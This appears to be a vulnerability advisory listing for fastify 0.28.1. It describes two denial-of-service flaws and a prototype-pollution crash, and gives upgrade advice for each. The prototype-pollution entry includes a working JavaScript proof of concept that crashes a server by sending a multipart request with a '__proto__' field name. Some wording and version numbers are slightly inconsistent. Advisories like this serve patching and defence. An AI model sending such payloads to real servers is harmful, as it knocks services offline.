fastify@0.28.1 vulnerabilities

fastify is an overhead web framework, for Node.js.

Affected versions of this package are vulnerable to Denial of Service (DoS). A denial of service vulnerability exists in Fastify v2.14.1 and v3.0.0-rc.4 that allows A malicious user can trigger resource exhaustion (when the allErrors option is used) with specially crafted schemas.

Upgrade fastify to version 2.15.1 or higher.

fastify is an overhead web framework, for Node.js.

Affected versions of this package are vulnerable to Prototype Pollution. It is possible to crash a remote server parsing multipart requests by sending a specially crafted request

PoC

const http = require('http')
const fastify = require('fastify')()
const options = {
    addToBody: true,
    onFile: (fieldName, stream, filename, encoding, mimetype, body) => {
        stream.resume();
    }
};
fastify.register(require('fastify-multipart'), options);
fastify.post('/', function (req, reply) {
    console.log(req.body.toString());
    reply.code(200).send();
});
fastify.listen(3000, () => {
    console.log(`server listening on ${fastify.server.address().port}`)
    const body =
        '--AaB03x\r\n' +
        'content-disposition: form-data; name="__proto__"; filename="file1.txt"\r\n' +
        'Content-Type: text/plain\r\n' +
        '\r\n' +
        '... contents of file1.txt ...\r\r\n' +
        '--AaB03x--\r\n';
    const r = {
        hostname: 'localhost',
        port: 3000,
        path: '/',
        method: 'POST',
        headers: {
            'content-type': 'multipart/form-data; boundary=AaB03x'
        }
    };
    const req = http.request(r, (res) => { });
    req.write(body);
    req.end();
});

Upgrade fastify to version 1.0.5 or higher.

fastify is a web framework, for Node.js.

Affected versions of the package are vulnerable to Denial of Service (DoS) attacks due to not limit the size of the payload before JSON parsing it. An attacker can send a request with Content-Type: application/json and a very large payload, causing the Node.js process to crash with an uncaughtException.

Upgrade fastify to version 0.38.0 or higher.